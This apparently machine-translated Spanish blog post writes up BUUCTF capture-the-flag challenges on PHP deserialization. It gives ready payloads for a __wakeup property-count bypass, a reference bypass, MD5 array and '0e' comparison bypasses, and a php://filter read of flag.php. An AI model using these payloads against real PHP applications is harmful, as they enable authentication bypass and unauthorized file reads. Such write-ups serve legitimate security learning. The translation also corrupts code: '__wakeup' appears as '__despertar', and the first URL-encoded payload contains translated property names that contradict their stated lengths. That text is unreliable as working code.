1. En pocas palabras, la serialización en realidad está convirtiendo datos en una estructura de datos reversible. Naturalmente, el proceso inverso se llama deserialización.
2. Formato serializado
• a significa matriz (matriz), 2 significa que la matriz tiene 2 elementos
•s:5:"baidu" indica el subíndice del primer elemento, una cadena de longitud 5
• s:13 representa el valor del primer elemento, una cadena de longitud 13
•i:10 representa un número entero con un valor de 10
• Durante la serialización, solo se guardan las variables miembro, los métodos no se guardan
Especificación de formato:
•O:1:“A”:3 O representa un objeto, la longitud del nombre de la clase es 1, el nombre de la clase es A y hay 3 variables miembro
• Dentro de las llaves está la información de 3 variables miembro
• Simplemente escriba el nombre de la variable miembro pública directamente
•El nombre de la variable miembro protegida debe estar precedido por %00*%00
• El nombre de la variable miembro privada debe estar precedido por %00 class name%00
Método mágico:
• __construct se llama cuando se crea un objeto
• __destruct se llama cuando se destruye un objeto
• __toString se usa cuando un objeto se trata como una cadena
• Se llama a __wakeup antes de deserializar el objeto.
Métodos de derivación comunes:
1)__despertar:
• Versiones afectadas: PHP anterior a la 5.6.25, 7.x anterior a la 7.0.10
• Durante la deserialización, si el valor que indica el número de atributos del objeto es mayor que el número real de atributos, se omitirá la ejecución de __wakeup().
2) Bypass de referencia:
•$a->var2=&$a->var1, especificando que var2 es una referencia a var1, por lo que los dos valores son exactamente iguales, (similar a los punteros $a->var2 y $a->var1 en lenguaje c apunta al mismo un pedazo de memoria)
Ejercicios BUUCTF:
1) Desafío PHP Geek
Después de intentar durante mucho tiempo, no pude encontrar ningún rastro en el código fuente de la página, así que traté de explotarlo.
Obtenga el código fuente, en index.php
Pase la selección de parámetros, luego deserialice
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
Para la auditoría de código, necesitamos hacer $username="admin" y $password =100 y omitir el método mágico __wakeup para evitar que $username se convierta en "invitado". Para omitir la activación, solo es necesario cambiar la cantidad de atributos de objetos serializados a ser mayor que el original El número de propiedades de objeto de la clase.
Hay caracteres invisibles, necesitamos codificarlos en urlen de nuevo,
Cambie O:4:"Nombre": 2 : ...... (omita el siguiente código), 2 a 3 y luego urlencode
payload= O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name% 00contraseña%22%3Bi%3A100%3B%7D%0A
2) REVISIÓN DEL CÓDIGO BUU 1
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
Auditoría de código:
Requerir $correcto===$entrada,
Sin embargo, debido al comando $this->correct = base64_encode(uniqid());, cada corrección generará aleatoriamente un carácter, y hacemos la entrada y el punto correcto en la misma dirección de memoria para omitir
Aquí se usa el bypass MD5
1. MD5 comparación débil "==" pasa por alto
Método 1: utilice la vulnerabilidad de la función md5() para eludir
Es decir, el método de usar una matriz para omitir: dado que md5 devolverá NULL cuando encuentre una matriz al verificar una cadena, las dos matrices obtenidas después del cifrado son ambas NULL, lo que significa que son iguales. así que sube
/?a[]=1&b[]=2
Puede omitir el método 2: utilice la vulnerabilidad de comparación "==" para omitir si el valor de dos caracteres cifrados por MD5 es 0exxxx, se considerará como notación científica y significa 0*10 elevado a xxxx, o cero, son iguales. Todos los valores MD5 de las siguientes cadenas comienzan con 0e:
QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a
2. Comparación fuerte MD5 "===" omite
En este momento, solo se puede usar el método de omitir la matriz.
<?php
class BUU {
public $correct = "";
public $input = "";
}
$a = new BUU;
$a->input = &$a->correct;
$str = serialize($a);
echo $str;
?>
payload:
GET方法:pleaseget=1
POST方法:pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
3) [Net Tripod Cup 2020 Qinglong Group] AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
Después de la auditoría de código:
1) Se encuentra que is_valid solo nos permite ingresar símbolos con valores ascill entre 32-125 , es decir, símbolos que se pueden imprimir
protected $op;
protected $filename;
protected $content;
Luego descubrí que debido a que las tres variables anteriores están precedidas por el modificador protected, si se agrega %00*%00 delante de la variable después de la serialización y no está entre 32 y 125, esta función no pasará (is_valid return false ), es decir, no activará $ obj = unserialize($str) .
Para PHP versión 7.1+, no es sensible al tipo de atributo , podemos cambiar el tipo protegido a público
2) Nuestro objetivo final es obtener el contenido en flag.php, por lo que debemos ingresar a la función de lectura, es decir, poner op=2 (ingresar a la función de lectura), omitir op=1 (ingresará primero a la función de escritura) , y luego $filename = "flag.php"
<?php
class FileHandler {
public $op = 2;
public $filename="flag.php";
public $content;
}
$a = new FileHandler();
$str = serialize($a);
echo $str;
?>
#序列化后的字符串为以下,试试这个payload
#O:11:"FileHandler":3{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
Puedes ver que el contenido de flag.php ha sido leído
También podemos intentar combinar el pseudo-protocolo php usado en la vulnerabilidad LFI,
<?php
class FileHandler {
public $op = 2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}
$a = new FileHandler();
$str = serialize($a);
echo $str;
?>
#$str= O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
Es la primera vez que escribo un blog, así que perdónenme si no escribo bien.